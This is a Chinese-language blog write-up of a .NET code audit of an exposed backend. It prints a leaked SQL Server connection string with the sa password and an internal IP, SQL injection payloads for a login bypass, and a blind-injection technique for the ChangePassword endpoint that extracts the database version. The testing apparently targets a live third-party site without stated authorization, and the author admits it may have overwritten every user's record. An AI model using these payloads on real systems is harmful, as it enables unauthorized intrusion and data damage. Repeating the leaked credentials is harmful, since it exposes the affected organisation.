代码审计.Net 绕过异常防火墙-从信息泄露到SQL注入
0、前言
首先,这是我第一次深入的对Web应用的.Net代码审计. 之前虽审计过由py、java组织的项目以及基于Unity C#技术栈项目,但从未对Web应用的.Net深入的代码审计过,因此将其记录下来.
虽然之前也得到过一些资产的Web应用DLL源码,但鉴于基本上是在已经GetShell的情况下获取的,且是单站点应用. 因此并无深入审计拿通杀的必要
1、资产搜集阶段
资产搜集,发现C段8080端口某路径下有未知后端应用DLL: http://*.*.*.*:8080/backup/v2/bin.zip
解压bin.zip:
BaseCode.dll
conf.xml.config
DAL.dll
EntityFramework.dll
ExcelExportor.dll
HtmlReport.dll
Ionic.Zip.dll
itextsharp.dll
NPOI.dll
PublicService.dll
Radiya.Controls.dll
RadiyaControls.dll
rf.Config
RFModels.dll
RFReport.dll
SF_WEB.dll
SF_WEB.pdb
System.ComponentModel.DataAnnotations.dll
System.Web.Abstractions.dll
System.Web.*.dll
Telerik.Web.Mvc.dll
UPOPSDK.dll
UPOPSDK.xml
zh-Hans
首先,打开配置文件看看是否有数据库ip、端口、用户名等信息. 在查看了rf.Config、conf.xml.config后,果然发现了数据库敏感信息
<connectionStrings>
<!--<add name="RF" connectionString="Data Source=orcl;Persist Security Info=True;User ID=budget;Password=budget;Unicode=True"
providerName="System.Data.OracleClient" />-->
<add key="DataBaseType" value="SQLSERVER" />
<add name="RF" connectionString="Data Source=192.68.0.201;Initial Catalog=pzhsf;User ID=sa;Password=pzh123PZH2"
providerName="System.Data.SqlClient" />
</connectionStrings>
以上信息泄露虽然无法连接到数据库,但勉强能算个中危. 接下来正式开始代码审计流程
2、查找资产归属
搜集了以下该ip其他端口信息,均未发现对接该后端的前台系统
并且该源代码配置中并未包含任何源站信息,因此只能根据源站调用的api的返回值来确定该代码所属资产
首先,利用DLL反编译神器dnSpy,namespaces如下所示:
namespace SF_WEB{}
namespace SF_WEB.Controllers{}
namespace SF_WEB.Helpers{}
namespace SF_WEB.Models{}
发现有登录模块,因此直奔Controllers账号登陆部分查看登陆部分api的源码
namespace SF_WEB.Controllers{
class AccountControllers{
public ActionResult LogOn(){}
public ActionResult LogOn(LogOnModel, string){}
public ActionResult LogOnSSO(string){}
}
}
源代码太长了,部分代码如下所示 删减出来的逻辑部分如下所示
// SF_WEB.Controllers.AccountController
// Token: 0x06000153 RID: 339 RVA: 0x00007C94 File Offset: 0x00005E94
[HttpPost]
public ActionResult LogOn(LogOnModel model, string returnUrl){
if (base.Session["ValidateCode"] == null){ //验证码失效
return "验证码失效,请重新输入。";
}else if (base.ModelState.IsValid){
if (base.Session["ValidateCode"].ToString() != model.ValidateCode){ //验证码错误
return "验证码错误。";
}else{
Account account = new Account();
string userId = null;
string userIdentity = account.WebValidateUser(model.UserName.Replace(" ", ""), model.Password, ref userId, "student");
if (userIdentity != null){ //登陆成功
...此处设置Cookie等信息...
return base.RedirectToAction("Default", "Home");
}else{ //登录名称或密码不正确,请确认。
return "登录名称或密码不正确,请确认。";
}
}
}
return base.View(model);
}
从以上代码中可以看出
当验证码失效时,后端返回”验证码失效,请重新输入。”
当验证码错误时,后端返回”验证码错误”
当登陆密码错误时,后端返回”登录名称或密码不正确,请确认。”
在测试了一些站点以后,终于发现了跟该后端一样的回显的站点,至此可以确认源代码资产所属
2、第一次失败
简单审计了一下,发现一些接口直接将用户输入的数据格式化进sql语句后查询,极易引发sql注入
因此先从登录入口看看有没有注入风险
登录接口/Account/LogOn 将会调用下图红线中的函数
继而执行下面的WebValidateUser
既然WebValidateUser中username、password都是用户输入的值,并且将username、password格式化进SQL语句并进行查询,那这样就方便了
想要在以下格式化里构造一个注入简直不要太简单
string.Format("SELECT studentId,studentNo,studentName FROM base_student WHERE (idNumber='{0}' or studentNo='{0}') AND password = '{1}' AND statusId='{2}'", username, password, onLineStatusId);
举个例子: 当我输入password = “’ or password!=’1” 时,SQL语句理论上会变为
SELECT studentId,studentNo,studentName FROM base_student WHERE (idNumber='{0}' or studentNo='{0}') AND password = '' or password!='1' AND statusId='{2}'
在正常情况下,就能直接绕过身份密码验证,直接免密码登录
当时我就是那么想的,结果我发现远远没我想的那么简单
我尝试了几个简单的注入payload,发现请求直接没有返回值了,连响应也没有
我以为是简单的payload出了点问题. 于是我又输入了几个注入payload在password和username,又没反应. 我已经感觉到不对劲了
在这里,无论我尝试了多少种payload,都绕不过去
但是纵观整个代码,我却没有看到任何过滤的点
于是我转头放弃,去分析其他的api接口
3、深入分析
在大批量fuzz各api接口后后,我终于观测到了一个疑似能盲注的接口
在修改密码的函数ChangePassword(ChangePasswordModel)中
namespace SF_WEB.Controllers{
class AccountControllers{
public ActionResult ChangePassword(ChangePasswordModel){}
}
}
最终会调用这一行代码
string text = string.Format("SELECT studentId FROM base_student WHERE studentId = '{0}' AND PASSWORD = '{1}'", studentId, oldPassword);
在这一行代码中,studentId是用户无法输入的(系统根据session自动提取),oldPassword是用户自定义的
当此时oldPassword = “’ or password!=’1” 时,该接口正常改了密码. 也就是说在没有输入密码的情况下成功修改了密码,证明此处存在缺陷
通过进一步测试该缺陷,总结了以下这几条规律:
1、注入的payload的字段必须是password,例如 ‘ or password != ‘’ and password = ‘
2、以上规则只在修改密码/Account/ChangePassword接口触发
3、payload若包含关系运算符,则左侧必须为password字段,例如 ‘ or password = if(password = ‘1’,’1’,’0’) and password = ‘
4、password字段的长度不可能低于6
(我不得不承认,总结出来的规则简直像规则类怪谈一样奇葩又离谱,我也不知道到底是何方神圣能写出这种waf/拦截规则.)
在这里,看似很难利用,但password是可控的,是可以通过正常业务被更改的. 因此可以直接在这里构造盲注语句
[此时的password]' and password = concat(substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1),substring(version(),1,1)) + '
payload展开后如下所示
[此时的password]' and password =
concat(
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1)
) + '
后端完整执行的sql语句如下所示
SELECT studentId
FROM base_student
WHERE
studentId = '{0}' AND
PASSWORD = '[此时的password]' and
password = concat(
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1),
substring(version(),1,1)
) + ''
当且仅当password的值等于version()第一个字符拼接6次时,该select语句返回studentId,否则不返回任何值. 可以根据此规则进行盲注
Tips: 为什么要重复六次substring(version(),1,1)呢?因为password长度必大于等于6,substring(version(),1,1)必须拼接6次
Tips: 为什么不使用mysql自带的REPEAT函数?因为当时没想到
写个脚本令password通过正常业务被修改为’000000’、’111111’、’222222’….以此遍历来慢慢找到version()的第1个字符
再经过几次遍历后,终于找到了version()的第一个字符为5,证明该盲注法可行
再写个脚本,循环上述规律遍历找到version的第n个字符的值
多次遍历后,终于找全了version()的所有字符: 5.6.49-log,证明此处存在SQL注入漏洞
4、最后调查
分析了一下原因,发现唯一一个可能出问题的地方就是IDataAccess接口的实现类在实现GetDataTable方法的时候出了点问题
namespace APP.DAL{
interface IDataAccessObject{
public DataTable GetDataTable(string queryString){}
}
}
在看了一遍该接口的实现类代码以后,发现其基本逻辑也就是查SQL后将其内部序列化为完整的DataTable实例,并无任何过滤点
在此,我只能粗略的得出大概率是被waf挡了
5、结束
后面本来还想继续测试的,因为在审计时发现了几个疑似的文件上传点和逻辑漏洞. 但后面在测试ChangePassword接口时疑似在Update语句中执行了OR语句(搞不好整个表的用户信息都给他改了,人都麻了),现在正在排查风险中. 因此不敢再继续测下去了
此文章由leeya_bug创作,禁止抄袭转载